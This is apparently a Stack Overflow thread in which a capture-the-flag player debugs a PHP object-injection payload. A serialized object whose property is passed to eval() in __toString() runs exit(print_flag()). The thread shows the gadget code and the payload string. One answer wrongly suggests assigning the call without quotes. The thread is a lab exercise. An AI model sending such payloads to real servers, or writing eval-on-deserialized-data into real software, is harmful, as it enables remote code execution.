0

I'm doing a CTF challenge that is about insecure deserialization in PHP. The goal is to print the flag by injection code into the deserialization to execute the print_flag() function. I suspect that the webserver only prints the last line that the script echoes, which overrides the output of the flag, even when calling exit().

A part of the php-code running on the webserver is provided. I have implemented it in my own php-script to find out what works and what doesn't. I have succeeded in serializing an object that executes the code when deserialized. By calling exit(print_flag()); the flag is printed, without any further errors... At least in my script. When I send the serialized object to the webserver, it still prints further errors.

Additionally, I have tried returning a string from my injected code. That doesn't work either.

function print_flag() {
    print file_get_contents('/var/flag/flag.txt');
}

class Example2
{
    private $hook;

    function __construct() {
        $this->hook = "exit(print_flag());";
    }

    function __toString()
    {
        if (isset($this->hook)) eval($this->hook);
    }
}

$flag = new Example2();
$serialized = serialize($flag);
print "$serialized\r\n";
$deserialized = unserialize($serialized);

The code is similar to the one shown in the challenge, but modified so it works for me.

I would expect the code to only return the flag. When executing the script on my own machine, the output is:

O:8:"Example2":1:{s:14:" Example2 hook";s:19:"exit(print_flag());";} thisistheflag

When I call it without exit():

PHP Recoverable fatal error: Method Example2::__toString() must return a string value in ../phpObjInj.php on line 39"

The webserver returns:

Catchable fatal error: Method Example2::__toString() must return a string value in /var/www/index.php on line 79

How do I stop the error from printing?

alyei
  • 43
  • 8

2 Answers2

0

The error is occurring because of unserialize($flag);. Since the argument to unserialize() is supposed to be a string, it tries to convert the Example2 object to a string. You probably meant to use unserialize($serialized);.

But more generally, you should ensure that the __toString() method returns a string. If you don't care what it is, you can return an empty string.

function __toString()
{
    if (isset($this->hook)) eval($this->hook);
    return "";
}

The error doesn't happen when you have exit() in the hook because the script exits before the __toString() method returns, so it never checks the return value.

Nothing is being executed after exit(). Here's the order of operations:

  • new Example2 - Creates new object
  • serialize($flag) - Creates a string representing the object
  • print "$serialized\r\n"; - Print the above string

None of the above steps need to call __toString(), so the hook is not yet executed.

  • deserialize($flag) - This needs to convert $flag to a string so it can be parsed as serialized data.
    • Call $flag->__toString()
    • eval($this->hook)
    • Call print_flag(), which prints the flag
    • Call exit(), which terminates the script

So you see the serialized object printed, then the flag is printed, then nothing else because of exit().

To demonstrate the vulnerability, you should call unserialize() with the correct argument.

$deserialized = unserialize($seralized);
echo $deserialized;

This echo statement will cause the __toString() method to be invoked. This will then exit the script, and you won't get the error message.

Barmar
  • 741,623
  • 53
  • 500
  • 612
  • Unfortunately, i have no control over the script on the website. The ```__toString()``` is like that in the server's script, apparently. That's why I'm trying to exit the script before it goes any further. The object that is serialized is my payload to the server. I can manipulate the ```hook``` property of the object in order to execute code remotely. Do you maybe know a reason for why the ```exit()``` call doesn't stop the server's script? Apparently, destructors are run after before the full stop. – alyei May 15 '19 at 20:51
  • I don't understand the question. It *does* exit the script. – Barmar May 15 '19 at 20:51
  • That's why you don't see the error message unless you remove `exit`. – Barmar May 15 '19 at 20:52
  • You're not executing any code when deserializing, because you're not deserializing the serialized data. – Barmar May 15 '19 at 20:54
  • It exits the script on my machine. But I have to send a payload (the serialized object) to the server, in order to get the flag. [Description of the vulnerability](https://www.owasp.org/index.php/PHP_Object_Injection) – alyei May 15 '19 at 20:55
  • You're trying to use the object itself as if it's the serialized string. – Barmar May 15 '19 at 20:55
  • I've updated the answer. You really need to use `unserialize($serialized)`, not `unserialize($flag)` – Barmar May 15 '19 at 21:03
  • You are right. I missed that. Thank you. When I changed that in my code (I edited the question appropriately) the output of the script didn't change a bit. The only thing I can change is the serialized object, because that is my payload. The server deserializes the object I send to it, and then calls ```eval()``` on it. Because the ```__toString()``` of the server is broken, it shows me the error instead of my flag (I assume). Now I am trying to either supress the error message, or somehow fix it. Unfortunately, my deserialization doesn't affect the script on the server. – alyei May 15 '19 at 21:03
0

Remove the double quotes in your constructor, function __construct() instead of

function __construct() {
    $this->hook = "exit(print_flag());";
}

use

function __construct() {
    $this->hook = exit(print_flag());
}
Martin Fahl
  • 937
  • 2
  • 12
  • 28
Don Phelix
  • 24
  • 6
  • Yes, it works fine on mine too. But it has to work on the server where I'm sending the payload to. It needs to be a string in order to get serialized. The vulnerability can be exploited by injecting code (in my case it's hook) into the deserializer. The injected code then gets executed when the toString() is called on the new object. [https://www.owasp.org/index.php/PHP_Object_Injection](See more here) – alyei May 17 '19 at 19:02